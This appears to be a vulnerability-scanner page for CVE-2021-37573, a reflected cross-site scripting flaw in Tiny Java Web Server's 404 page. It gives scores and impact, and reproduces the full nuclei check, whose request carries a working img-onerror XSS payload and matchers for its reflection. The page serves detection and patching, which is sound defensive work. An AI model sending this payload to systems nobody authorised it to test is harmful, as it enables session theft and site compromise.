Tiny Java Web Server - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Apply the latest security patches or updates provided by the vendor to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est
Positive when: contains "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>" AND contains in header "text/html" AND status 404

Run it with nuclei: nuclei -id CVE-2021-37573 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37573
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
    - http://seclists.org/fulldisclosure/2021/Aug/13
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
    epss-score: 0.03398
    epss-percentile: 0.88938
    cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiny_java_web_server_project
    product: tiny_java_web_server
  tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from